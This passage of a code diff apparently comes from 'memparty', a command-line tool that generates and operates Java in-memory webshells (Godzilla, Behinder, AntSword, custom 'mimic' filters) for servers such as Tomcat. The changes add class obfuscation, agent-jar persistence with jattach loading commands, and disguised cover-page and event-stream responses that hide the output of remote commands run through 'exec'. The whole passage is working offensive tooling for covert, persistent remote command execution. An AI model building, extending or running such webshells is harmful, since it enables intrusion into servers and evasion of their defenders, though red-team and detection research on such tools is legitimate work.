+ const explicit = Object.entries(r.headers ?? {}).find(
3377
+ ([k]) => k.toLowerCase() === "content-type"
3378
+ )?.[1];
3379
+ const ct = explicit ?? inferBodyTemplateContentType(r.bodyTemplate);
3380
+ if (ct) needles.add(ctNeedle(ct));
3381
+ } else if (r.bodyStyle === "json") {
3382
+ needles.add("json");
3383
+ }
3384
+ }
3385
+ return [...needles];
3386
+ }
2718
3387
  function defaultClassName() {
2719
3388
  return `MimicFilter${randomString(4)}`;
2720
3389
  }
@@ -2726,26 +3395,38 @@ async function buildCustomMemshell(input3, client, deps = {}) {
2726
3395
  const urlPattern = input3.urlPattern ?? "/*";
2727
3396
  const packer = input3.packer ?? "DefaultBase64";
2728
3397
  const cipher = resolveCipher(input3.profile.cipher);
2729
- const templates = profileTemplates(input3.profile).map((t) => t.template);
3398
+ const templates = profileTemplates(input3.profile).map((t) => ({
3399
+ template: t.template,
3400
+ contentType: t.contentType
3401
+ }));
2730
3402
  if (templates.length === 0) {
2731
3403
  throw new Error(`profile '${input3.profile.name}' has no templates \u2014 nothing to use as cover page`);
2732
3404
  }
2733
3405
  const outDir = input3.outDir;
2734
3406
  const packageDir = join5(outDir, "mimic");
2735
3407
  mkdirSync4(packageDir, { recursive: true });
3408
+ const wrapperFile = join5(packageDir, "CachedBody.java");
3409
+ writeFileSync4(wrapperFile, renderWrapperJava(), "utf8");
3410
+ compile([wrapperFile], outDir, { classpath: [jarOf()] });
3411
+ const wrapper = {
3412
+ bodyB64: readFileSync6(join5(packageDir, "CachedBody.class")).toString("base64"),
3413
+ streamB64: readFileSync6(join5(packageDir, "CachedBody$Stream.class")).toString("base64")
3414
+ };
2736
3415
  const javaSource = renderFilterJava({
2737
3416
  className,
2738
3417
  pass: input3.pass,
2739
3418
  secret: input3.secret,
2740
3419
  fields: profileSecretFields(input3.profile),
3420
+ bodyContentTypes: profileBodyContentTypes(input3.profile),
2741
3421
  templates,
2742
- cipher
3422
+ cipher,
3423
+ wrapper
2743
3424
  });
2744
3425
  const javaFile = join5(packageDir, `${className}.java`);
2745
- writeFileSync3(javaFile, javaSource, "utf8");
3426
+ writeFileSync4(javaFile, javaSource, "utf8");
2746
3427
  compile([javaFile], outDir, { classpath: [jarOf()] });
2747
3428
  const classFile = join5(packageDir, `${className}.class`);
2748
- const shellClassBase64 = readFileSync5(classFile).toString("base64");
3429
+ const shellClassBase64 = readFileSync6(classFile).toString("base64");
2749
3430
  const response = await client.generateMemShell({
2750
3431
  shellConfig: {
2751
3432
  server: input3.server,
@@ -2764,13 +3445,13 @@ async function buildCustomMemshell(input3, client, deps = {}) {
2764
3445
  if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
2765
3446
  for (const [name, value] of Object.entries(response.allPackResults)) {
2766
3447
  const file = join5(outDir, `payload-${name}.txt`);
2767
- writeFileSync3(file, `${value}
3448
+ writeFileSync4(file, `${value}
2768
3449
  `, "utf8");
2769
3450
  payloads[name] = file;
2770
3451
  }
2771
3452
  } else if (response.packResult !== void 0) {
2772
3453
  const file = join5(outDir, "payload.txt");
2773
- writeFileSync3(file, `${response.packResult}
3454
+ writeFileSync4(file, `${response.packResult}
2774
3455
  `, "utf8");
2775
3456
  payloads[packer] = file;
2776
3457
  }
@@ -2810,7 +3491,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
2810
3491
  connect: `memparty connect -u <shell-url> -t mimic --profile ${input3.profile.name} --pass ${result.pass} --key ${result.secret}`,
2811
3492
  files: result.files
2812
3493
  };
2813
- writeFileSync3(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
3494
+ writeFileSync4(result.files.manifest, `${JSON.stringify(manifest, null, 2)}
2814
3495
  `, "utf8");
2815
3496
  return result;
2816
3497
  }
@@ -2818,7 +3499,7 @@ async function buildCustomMemshell(input3, client, deps = {}) {
2818
3499
  // src/commands/custom.ts
2819
3500
  function registerCustomCommand(program) {
2820
3501
  program.command("custom").description("Custom (mimic) memory shells built from a site profile").addCommand(
2821
- new Command2("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
3502
+ new Command3("build").description("profile -> filter class -> MemShellParty Custom -> injectable payload").requiredOption("--profile <name>", "site profile name (see 'memparty profile list')").requiredOption("--server <server>", "target middleware, e.g. Tomcat, TongWeb (see 'memparty config tools')").option("--type <shellType>", "shell type the filter implements", "Filter").option("--pass <pass>", "credential baked into the shell (random if omitted)").option("--key <key>", "crypto key baked into the shell (random if omitted)").option("--url-pattern <pattern>", "injector URL pattern", "/*").option("--packer <packer>", "payload packer", "DefaultBase64").option("--jdk <version>", "target JDK, e.g. java8", "java8").option("--out <dir>", "output directory", void 0).option("--json", "output raw JSON").addHelpText(
2822
3503
  "after",
2823
3504
  `
2824
3505
  The full loop (see docs/mimic-memshell-guide.md):
@@ -3004,20 +3685,29 @@ async function startMimicServer(options = {}) {
3004
3685
  const aesKey = deriveAesKey(secretKey);
3005
3686
  const markers = deriveMarkers(pass, secretKey, cipher);
3006
3687
  const execTimeoutMs = options.execTimeoutMs ?? 5e3;
3007
- const skin = PAGES["/"];
3688
+ const skins = options.templates ?? [
3689
+ { title: "mock", template: PAGES["/"], contentType: "text/html; charset=utf-8" }
3690
+ ];
3691
+ const fields = options.fields ?? [pass];
3008
3692
  const server = http2.createServer((req, res) => {
3009
3693
  if (req.method === "POST") {
3010
3694
  const chunks = [];
3011
3695
  req.on("data", (c) => chunks.push(c));
3012
3696
  req.on("end", () => {
3013
- let command = decodeRequestBody(Buffer.concat(chunks), pass, aesKey, cipher);
3014
- if (command === null) {
3015
- const query = new URL(req.url ?? "/", "http://x").searchParams.get(pass);
3016
- if (query) command = tryDecrypt(query, aesKey, cipher);
3017
- }
3018
- if (command === null) {
3019
- const header = req.headers[pass.toLowerCase()];
3020
- if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
3697
+ const rawBody = Buffer.concat(chunks);
3698
+ let command = null;
3699
+ for (const f of fields) {
3700
+ command = decodeRequestBody(rawBody, f, aesKey, cipher);
3701
+ if (command === null) command = decodeAnyBody(rawBody, f, aesKey, cipher);
3702
+ if (command === null) {
3703
+ const query = new URL(req.url ?? "/", "http://x").searchParams.get(f);
3704
+ if (query) command = tryDecrypt(query, aesKey, cipher);
3705
+ }
3706
+ if (command === null) {
3707
+ const header = req.headers[f.toLowerCase()];
3708
+ if (typeof header === "string") command = tryDecrypt(header, aesKey, cipher);
3709
+ }
3710
+ if (command !== null) break;
3021
3711
  }
3022
3712
  if (command === null) {
3023
3713
  res.writeHead(404, { "Content-Type": "text/html; charset=utf-8" });
@@ -3026,8 +3716,26 @@ async function startMimicServer(options = {}) {
3026
3716
  }
3027
3717
  void runCommand(command.toString("utf8"), execTimeoutMs).then((output) => {
3028
3718
  const b64 = encryptField2(Buffer.from(output, "utf8"), aesKey, cipher);
3029
- res.writeHead(200, { "Content-Type": "text/html; charset=utf-8" });
3030
- res.end(injectFragment(skin, markers.wrap(b64)));
3719
+ const skin = skins[Math.floor(Math.random() * skins.length)];
3720
+ const body = skin.template.includes(PAYLOAD_PLACEHOLDER) ? skin.template.replaceAll(PAYLOAD_PLACEHOLDER, b64) : injectFragment(skin.template, markers.wrap(b64));
3721
+ res.writeHead(200, { "Content-Type": skin.contentType });
3722
+ if (skin.contentType.includes("event-stream")) {
3723
+ const sseChunks = body.split("\n\n").filter((c) => c.length > 0);
3724
+ let i = 0;
3725
+ const next = () => {
3726
+ if (i < sseChunks.length) {
3727
+ res.write(`${sseChunks[i++]}
3728
+
3729
+ `);
3730
+ setTimeout(next, 25);
3731
+ } else {
3732
+ res.end();
3733
+ }
3734
+ };
3735
+ next();
3736
+ } else {
3737
+ res.end(body);
3738
+ }
3031
3739
  });
3032
3740
  });
3033
3741
  return;
@@ -3128,7 +3836,7 @@ Watch the printed request URL in step 3/4: it changes every run.
3128
3836
  }
3129
3837
 
3130
3838
  // src/commands/exec.ts
3131
- import { Option as Option2 } from "commander";
3839
+ import { Option as Option3 } from "commander";
3132
3840
  function parseExtraHeaders2(lines) {
3133
3841
  const headers = {};
3134
3842
  for (const line of lines ?? []) {
@@ -3144,16 +3852,16 @@ function registerExecCommand(program) {
3144
3852
  program.command("exec").description(
3145
3853
  "Execute a command on a deployed webshell and print its output"
3146
3854
  ).argument("[name]", "saved target name (see 'memparty list')").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
3147
- new Option2("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3855
+ new Option3("-t, --tool <tool>", "shell protocol").choices(protocolNames("exec"))
3148
3856
  ).requiredOption("--cmd <command>", "command line to execute on the target").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla/mimic key (default: key)").addOption(
3149
- new Option2("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
3857
+ new Option3("--os <family>", "godzilla: remote OS for the shell wrapper").choices(["auto", "windows", "linux"]).default("auto")
3150
3858
  ).option(
3151
3859
  "--header-name <name>",
3152
3860
  "gate header name reported by gen (shellToolConfig.headerName)"
3153
3861
  ).option(
3154
3862
  "--header-value <value>",
3155
3863
  "gate header value reported by gen (shellToolConfig.headerValue)"
3156
- ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3864
+ ).option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name (see 'memparty profile')").option("--dynamic-path", "mimic: randomize the request path from the site profile").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--json", "output raw JSON").option("--no-save", "do not auto-save the target after a successful exec").addHelpText(
3157
3865
  "after",
3158
3866
  `
3159
3867
  Examples:
@@ -3183,7 +3891,8 @@ the OS inside its payload, so --os does not apply.
3183
3891
  headerValue: opts.headerValue,
3184
3892
  extraHeaders: parseExtraHeaders2(opts.header),
3185
3893
  insecure: opts.insecure,
3186
- profile: opts.profile
3894
+ profile: opts.profile,
3895
+ upgradeProtocol: opts.upgradeProtocol
3187
3896
  });
3188
3897
  } catch (err) {
3189
3898
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -3195,7 +3904,8 @@ the OS inside its payload, so --os does not apply.
3195
3904
  headerValue: conn.headerValue,
3196
3905
  extraHeaders: conn.extraHeaders,
3197
3906
  timeoutMs,
3198
- insecure: conn.insecure
3907
+ insecure: conn.insecure,
3908
+ upgradeProtocol: conn.upgradeProtocol
3199
3909
  };
3200
3910
  let result;
3201
3911
  try {
@@ -3254,43 +3964,8 @@ the OS inside its payload, so --os does not apply.
3254
3964
  }
3255
3965
 
3256
3966
  // src/commands/gen.ts
3257
- import { readFileSync as readFileSync7 } from "fs";
3258
- import { Option as Option3 } from "commander";
3259
-
3260
- // src/core/output.ts
3261
- import { writeFileSync as writeFileSync4 } from "fs";
3262
- var BINARY_EXTENSIONS = [".class", ".jar", ".zip", ".ser", ".bin"];
3263
- function hasBinaryExtension(path) {
3264
- const lower = path.toLowerCase();
3265
- return BINARY_EXTENSIONS.some((ext) => lower.endsWith(ext));
3266
- }
3267
- function shouldDecode(opts) {
3268
- if (opts.decode !== void 0) return opts.decode;
3269
- if (opts.outFile) return hasBinaryExtension(opts.outFile);
3270
- return false;
3271
- }
3272
- function emitPayload(payload, opts, sinks = {}) {
3273
- const writeFile = sinks.writeFile ?? ((p, d) => writeFileSync4(p, d));
3274
- const writeStdout = sinks.writeStdout ?? ((d) => process.stdout.write(d));
3275
- const decoded = shouldDecode(opts);
3276
- if (opts.outFile) {
3277
- if (decoded) {
3278
- const buf = Buffer.from(payload, "base64");
3279
- writeFile(opts.outFile, buf);
3280
- return { destination: opts.outFile, size: buf.length, decoded: true };
3281
- }
3282
- writeFile(opts.outFile, payload);
3283
- return { destination: opts.outFile, size: Buffer.byteLength(payload), decoded: false };
3284
- }
3285
- if (decoded) {
3286
- const buf = Buffer.from(payload, "base64");
3287
- writeStdout(buf.toString("binary"));
3288
- return { destination: "stdout", size: buf.length, decoded: true };
3289
- }
3290
- writeStdout(payload.endsWith("\n") ? payload : `${payload}
3291
- `);
3292
- return { destination: "stdout", size: payload.length, decoded: false };
3293
- }
3967
+ import { readFileSync as readFileSync8 } from "fs";
3968
+ import { Option as Option4 } from "commander";
3294
3969
 
3295
3970
  // src/core/request-builder.ts
3296
3971
  import { randomInt as randomInt3 } from "crypto";
@@ -3324,16 +3999,16 @@ function buildMemShellRequest(opts) {
3324
3999
  byPassJavaModule: opts.byPassJavaModule,
3325
4000
  shrink: opts.shrink,
3326
4001
  lambdaSuffix: opts.lambdaSuffix,
3327
- probe: opts.probe
4002
+ probe: opts.probe ? { probeMethod: "ResponseBody", probeContent: "Bytecode" } : void 0,
4003
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0,
4004
+ obfuscationScope: opts.obfuscationScope
3328
4005
  },
3329
4006
  shellToolConfig: {
3330
4007
  shellClassName: opts.shellClassName,
3331
- godzillaPass: opts.godzillaPass,
3332
- godzillaKey: opts.godzillaKey,
3333
- commandParamName: opts.commandParamName,
3334
- commandTemplate: opts.commandTemplate,
3335
- behinderPass: opts.behinderPass,
3336
- antSwordPass: opts.antSwordPass,
4008
+ pass: opts.godzillaPass ?? opts.behinderPass ?? opts.antSwordPass,
4009
+ key: opts.godzillaKey,
4010
+ paramName: opts.commandParamName,
4011
+ template: opts.commandTemplate,
3337
4012
  headerName: opts.headerName,
3338
4013
  headerValue: opts.headerValue,
3339
4014
  shellClassBase64: opts.shellClassBase64,
@@ -3359,7 +4034,8 @@ function buildProbeRequest(opts) {
3359
4034
  byPassJavaModule: opts.byPassJavaModule,
3360
4035
  shrink: opts.shrink,
3361
4036
  staticInitialize: opts.staticInitialize,
3362
- lambdaSuffix: opts.lambdaSuffix
4037
+ lambdaSuffix: opts.lambdaSuffix,
4038
+ obfuscation: opts.obfuscate || opts.obfuscationOptions !== void 0 ? { enabled: true, options: opts.obfuscationOptions } : void 0
3363
4039
  },
3364
4040
  probeContentConfig: {
3365
4041
  host: opts.host,
@@ -3367,15 +4043,27 @@ function buildProbeRequest(opts) {
3367
4043
  sleepServer: opts.sleepServer,
3368
4044
  server: opts.server,
3369
4045
  reqParamName: opts.reqParamName,
3370
- commandTemplate: opts.commandTemplate
4046
+ commandTemplate: opts.commandTemplate,
4047
+ respHeaderName: opts.respHeaderName
3371
4048
  },
3372
4049
  packer: opts.packer
3373
4050
  };
3374
4051
  }
3375
4052
 
4053
+ // src/core/agent.ts
4054
+ function supportsAgentLoadArguments(shellType, packer) {
4055
+ return shellType.startsWith("Agent") && ["AgentJar", "AgentJarWithJDKAttacher", "AgentJarWithJREAttacher"].includes(packer);
4056
+ }
4057
+ function agentLoadExamples(agentArgs) {
4058
+ return [
4059
+ `java -jar agent.jar <pid> ${agentArgs}`,
4060
+ `jattach <pid> load instrument false agent.jar=${agentArgs}`
4061
+ ];
4062
+ }
4063
+
3376
4064
  // src/wizard/memshell-wizard.ts
3377
- import { readFileSync as readFileSync6 } from "fs";
3378
- import { checkbox, confirm, input, select, Separator } from "@inquirer/prompts";
4065
+ import { readFileSync as readFileSync7 } from "fs";
4066
+ import { checkbox, confirm, input, select } from "@inquirer/prompts";
3379
4067
  var JDK_CHOICES = [
3380
4068
  { name: "server default", value: "" },
3381
4069
  ...Object.entries(JDK_VERSIONS).map(([name, major]) => ({
@@ -3383,17 +4071,6 @@ var JDK_CHOICES = [
3383
4071
  value: name
3384
4072
  }))
3385
4073
  ];
3386
- function packerChoices(tree) {
3387
- const choices = [];
3388
- for (const parent of tree) {
3389
- choices.push(new Separator(`\u2500\u2500 ${parent.name} \u2500\u2500`));
3390
- choices.push({ name: parent.name, value: parent.name });
3391
- for (const child of parent.children) {
3392
- choices.push({ name: ` ${child}`, value: child });
3393
- }
3394
- }
3395
- return choices;
3396
- }
3397
4074
  async function runMemShellWizard(client) {
3398
4075
  const [config, packerTree] = await Promise.all([client.getConfig(), client.getPackerTree()]);
3399
4076
  const server = await select({
@@ -3409,13 +4086,19 @@ async function runMemShellWizard(client) {
3409
4086
  message: "Shell type",
3410
4087
  choices: config[server][shellTool].map((t) => ({ name: t, value: t }))
3411
4088
  });
3412
- const packer = await select({
3413
- message: "Packer",
3414
- choices: packerChoices(packerTree)
4089
+ const category = await select({
4090
+ message: "Packer category",
4091
+ choices: packerTree.map((packer2) => ({ name: packer2.name, value: packer2.name }))
3415
4092
  });
4093
+ const selected = packerTree.find((packer2) => packer2.name === category);
4094
+ const packer = selected.children.length ? await select({
4095
+ message: "Packer variant",
4096
+ choices: selected.children.map((name) => ({ name, value: name }))
4097
+ }) : category;
3416
4098
  const opts = { server, shellTool, shellType, packer };
3417
4099
  switch (shellTool) {
3418
4100
  case "Godzilla":
4101
+ case "GodzillaSession":
3419
4102
  opts.godzillaPass = await input({ message: "Godzilla pass", default: "pass" });
3420
4103
  opts.godzillaKey = await input({ message: "Godzilla key", default: "key" });
3421
4104
  break;
@@ -3442,7 +4125,7 @@ async function runMemShellWizard(client) {
3442
4125
  }
3443
4126
  case "Custom": {
3444
4127
  const file = await input({ message: "Path to custom .class file" });
3445
- opts.shellClassBase64 = readFileSync6(file).toString("base64");
4128
+ opts.shellClassBase64 = readFileSync7(file).toString("base64");
3446
4129
  break;
3447
4130
  }
3448
4131
  default:
@@ -3463,7 +4146,8 @@ async function runMemShellWizard(client) {
3463
4146
  { name: "static initialize", value: "staticInitialize", checked: true },
3464
4147
  { name: "bypass Java module", value: "byPassJavaModule" },
3465
4148
  { name: "lambda suffix", value: "lambdaSuffix" },
3466
- { name: "debug", value: "debug" }
4149
+ { name: "debug", value: "debug" },
4150
+ { name: "class obfuscation (v3+)", value: "obfuscate" }
3467
4151
  ]
3468
4152
  });
3469
4153
  opts.shrink = toggles.includes("shrink");
@@ -3471,6 +4155,7 @@ async function runMemShellWizard(client) {
3471
4155
  opts.byPassJavaModule = toggles.includes("byPassJavaModule");
3472
4156
  opts.lambdaSuffix = toggles.includes("lambdaSuffix");
3473
4157
  opts.debug = toggles.includes("debug");
4158
+ opts.obfuscate = toggles.includes("obfuscate");
3474
4159
  const confirmed = await confirm({ message: `Generate ${shellTool} ${shellType} for ${server} (${packer})?` });
3475
4160
  if (!confirmed) {
3476
4161
  throw new Error("Cancelled by user.");
@@ -3483,7 +4168,7 @@ var REQUIRED = ["server", "tool", "type", "packer"];
3483
4168
  function toOptions(o) {
3484
4169
  let shellClassBase64 = o.shellClassBase64;
3485
4170
  if (o.shellClassFile) {
3486
- shellClassBase64 = readFileSync7(o.shellClassFile).toString("base64");
4171
+ shellClassBase64 = readFileSync8(o.shellClassFile).toString("base64");
3487
4172
  }
3488
4173
  return {
3489
4174
  server: o.server,
@@ -3497,6 +4182,9 @@ function toOptions(o) {
3497
4182
  shrink: o.shrink,
3498
4183
  lambdaSuffix: o.lambdaSuffix,
3499
4184
  probe: o.probe,
4185
+ obfuscate: o.obfuscate,
4186
+ obfuscationOptions: parseObfuscationOptions(o.obfuscationOptions),
4187
+ obfuscationScope: o.obfuscationScope,
3500
4188
  shellClassName: o.shellClassName,
3501
4189
  godzillaPass: o.godzillaPass,
3502
4190
  godzillaKey: o.godzillaKey,
@@ -3515,7 +4203,14 @@ function toOptions(o) {
3515
4203
  };
3516
4204
  }
3517
4205
  function registerGenCommand(program) {
3518
- program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla password").option("--godzilla-key <key>", "Godzilla key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option3("--decode", "base64-decode the payload before writing")).addOption(new Option3("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
4206
+ program.command("gen").alias("generate").description("Generate a memory shell. Runs an interactive wizard when required flags are missing.").option("-s, --server <server>", "target server, e.g. Tomcat").option("--server-version <v>", "target server version").option("-t, --tool <tool>", "shell tool, e.g. Godzilla, Behinder, Command").option("-y, --type <type>", "shell type, e.g. Listener, Filter, Servlet").option("-p, --packer <packer>", "packer, e.g. Base64, Jar, JSP").option("--jdk <version>", "target JDK: java6/8/9/11/17/21/25, or a class-file major version").option("--debug", "enable debug output in the payload").option("--bypass-module", "bypass Java module restrictions").option("--no-shrink", "disable bytecode shrinking (enabled by default)").option("--lambda-suffix", "append a lambda class-name suffix").option("--probe", "use echo/probe mode").option("--obfuscate", "enable class obfuscation (MemShellParty v3+)").option("--obfuscation-options <options>", "obfuscation overrides: key=value, comma-separated").addOption(
4207
+ new Option4("--obfuscation-scope <scope>", "obfuscation scope (MemShellParty v3+)").choices([
4208
+ "ALL",
4209
+ "MEMSHELL_INJECTOR",
4210
+ "INJECTOR",
4211
+ "MEMSHELL"
4212
+ ])
4213
+ ).option("--shell-class-name <name>", "explicit shell class name (random if omitted)").option("--godzilla-pass <pass>", "Godzilla / GodzillaSession password").option("--godzilla-key <key>", "Godzilla / GodzillaSession key").option("--behinder-pass <pass>", "Behinder password").option("--antsword-pass <pass>", "AntSword password").option("--command-param-name <name>", "Command tool parameter name").option("--command-template <tpl>", "Command template ({command} placeholder)").option("--encryptor <name>", "Command encryptor").option("--implementation-class <name>", "Command implementation class").option("--header-name <name>", "auth header name").option("--header-value <value>", "auth header value").option("--shell-class-base64 <b64>", "custom shell class (base64) for the Custom tool").option("--shell-class-file <path>", "custom shell .class file for the Custom tool").option("--url-pattern <pattern>", "injector URL pattern").option("--injector-class-name <name>", "explicit injector class name").option("--no-static-initialize", "disable injector static initialization (enabled by default)").option("--agent-args <args>", "Agent load-time arguments, e.g. persist=true or restore=true (not sent to the generate API)").option("-o, --output <file>", "write payload to a file instead of stdout").addOption(new Option4("--decode", "base64-decode the payload before writing")).addOption(new Option4("--no-decode", "do not base64-decode the payload")).option("--json", "print the full JSON response instead of just the payload (with -o the file is still written and the JSON gains an outputFile field)").option("-i, --interactive", "force the interactive wizard").option("--no-interactive", "never launch the wizard; error on missing flags").addHelpText(
3519
4214
  "after",
3520
4215
  `
3521
4216
  Examples:
@@ -3527,12 +4222,14 @@ Examples:
3527
4222
  $ memparty gen -s Tomcat -t Command -y Filter -p DefaultBase64 \\
3528
4223
  --command-param-name cmd --encryptor RAW --implementation-class RuntimeExec
3529
4224
  $ memparty gen -s Tomcat -t Godzilla -y Listener -p DefaultBase64 --json
4225
+ $ memparty gen -s Tomcat -t Godzilla -y AgentFilterChain -p AgentJar --agent-args persist=true
3530
4226
 
3531
4227
  Note: run 'memparty config' to list the available servers, tools, shell
3532
- types and packers. Some packers (e.g. Base64) are aggregate packers that
3533
- return several variants at once \u2014 pick a leaf packer (e.g. DefaultBase64)
3534
- for a single payload. The --json output includes the gate header
3535
- (shellToolConfig) you need for 'memparty connect' / 'memparty exec'.
4228
+ types and packers. On v3, parent packers are categories \u2014 pick a concrete
4229
+ variant (e.g. DefaultBase64 instead of Base64). Legacy v2 backends still
4230
+ support aggregate packers, but -o cannot write several variants to one file.
4231
+ The --json output includes the gate header (shellToolConfig) you need for
4232
+ 'memparty connect' / 'memparty exec'.
3536
4233
  `
3537
4234
  ).action(async (opts, cmd) => {
3538
4235
  const client = createClient(cmd.optsWithGlobals());
@@ -3551,6 +4248,12 @@ for a single payload. The --json output includes the gate header
3551
4248
  memOpts = toOptions(opts);
3552
4249
  }
3553
4250
  const request = buildMemShellRequest(memOpts);
4251
+ const { agentArgs } = opts;
4252
+ if (agentArgs !== void 0 && !supportsAgentLoadArguments(memOpts.shellType, memOpts.packer)) {
4253
+ throw new Error(
4254
+ "--agent-args requires an Agent* shell type and an AgentJar, AgentJarWithJDKAttacher, or AgentJarWithJREAttacher packer."
4255
+ );
4256
+ }
3554
4257
  const genMeta = {
3555
4258
  server: memOpts.server,
3556
4259
  serverVersion: memOpts.serverVersion,
@@ -3583,14 +4286,25 @@ for a single payload. The --json output includes the gate header
3583
4286
  meta: genMeta
3584
4287
  });
3585
4288
  if (opts.json) {
3586
- process.stdout.write(`${JSON.stringify(response, null, 2)}
4289
+ const outputFile = opts.output !== void 0 ? emitSinglePackResult(response, { outFile: opts.output, decode: opts.decode }) : void 0;
4290
+ const doc = {
4291
+ ...response,
4292
+ ...outputFile === void 0 ? {} : { outputFile },
4293
+ ...agentArgs === void 0 ? {} : { agentArgs, agentLoadExamples: agentLoadExamples(agentArgs) }
4294
+ };
4295
+ process.stdout.write(`${JSON.stringify(doc, null, 2)}
3587
4296
  `);
3588
4297
  return;
3589
4298
  }
3590
4299
  const r = response.memShellResult;
3591
4300
  logInfo(`shell class: ${r.shellClassName} (${r.shellSize} bytes)`);
3592
4301
  logInfo(`injector class: ${r.injectorClassName} (${r.injectorSize} bytes)`);
3593
- if (response.allPackResults && Object.keys(response.allPackResults).length > 0) {
4302
+ if (hasMultiplePackResults(response)) {
4303
+ if (opts.output !== void 0) {
4304
+ throw new Error(
4305
+ `-o cannot write ${Object.keys(response.allPackResults).length} packer variants to one file. Pick a leaf packer instead (see 'memparty config packers', e.g. DefaultBase64).`
4306
+ );
4307
+ }
3594
4308
  for (const [name, value] of Object.entries(response.allPackResults)) {
3595
4309
  logInfo(`
3596
4310
  === ${name} ===`);
@@ -3599,24 +4313,24 @@ for a single payload. The --json output includes the gate header
3599
4313
  }
3600
4314
  return;
3601
4315
  }
3602
- if (response.packResult === void 0) {
3603
- throw new Error("Server returned no packResult.");
3604
- }
3605
- const result = emitPayload(response.packResult, {
4316
+ const result = emitSinglePackResult(response, {
3606
4317
  outFile: opts.output,
3607
4318
  decode: opts.decode
3608
4319
  });
3609
4320
  if (result.destination !== "stdout") {
3610
4321
  logInfo(`wrote ${result.size} bytes to ${result.destination}${result.decoded ? " (base64-decoded)" : ""}`);
3611
4322
  }
4323
+ if (agentArgs !== void 0) {
4324
+ for (const example of agentLoadExamples(agentArgs)) logInfo(`load: ${example}`);
4325
+ }
3612
4326
  });
3613
4327
  }
3614
4328
 
3615
4329
  // src/commands/log.ts
3616
- import { Option as Option4 } from "commander";
4330
+ import { Option as Option5 } from "commander";
3617
4331
  function registerLogCommand(program) {
3618
4332
  program.command("log").description("Show the global operation log").addOption(
3619
- new Option4("--category <name>", "filter by operation category").choices([
4333
+ new Option5("--category <name>", "filter by operation category").choices([
3620
4334
  "gen",
3621
4335
  "probe",
3622
4336
  "connect",
@@ -3671,7 +4385,7 @@ import { writeFileSync as writeFileSync5 } from "fs";
3671
4385
  import { z } from "zod";
3672
4386
 
3673
4387
  // src/core/localfile.ts
3674
- import { existsSync as existsSync5, readFileSync as readFileSync8, statSync } from "fs";
4388
+ import { existsSync as existsSync5, readFileSync as readFileSync9, statSync } from "fs";
3675
4389
  import { dirname as dirname3, join as join6, resolve } from "path";
3676
4390
  var UPLOAD_SIZE_LIMIT = 64 * 1024 * 1024;
3677
4391
  function remoteBasename(remotePath) {
@@ -3727,7 +4441,7 @@ function readUploadFile(localPath, maxBytes = UPLOAD_SIZE_LIMIT) {
3727
4441
  `local file ${localPath} is ${stat.size} bytes \u2014 over the ${maxBytes}-byte upload limit`
3728
4442
  );
3729
4443
  }
3730
- return readFileSync8(localPath);
4444
+ return readFileSync9(localPath);
3731
4445
  }
3732
4446
 
3733
4447
  // src/version.ts
@@ -3760,12 +4474,15 @@ var memShellInput = {
3760
4474
  shellTool: z.string().describe("Shell tool, e.g. Godzilla, Behinder, Command"),
3761
4475
  shellType: z.string().describe("Shell type, e.g. Listener, Filter, Servlet"),
3762
4476
  packer: z.string().describe("Packer, e.g. Base64, Jar, JSP"),
3763
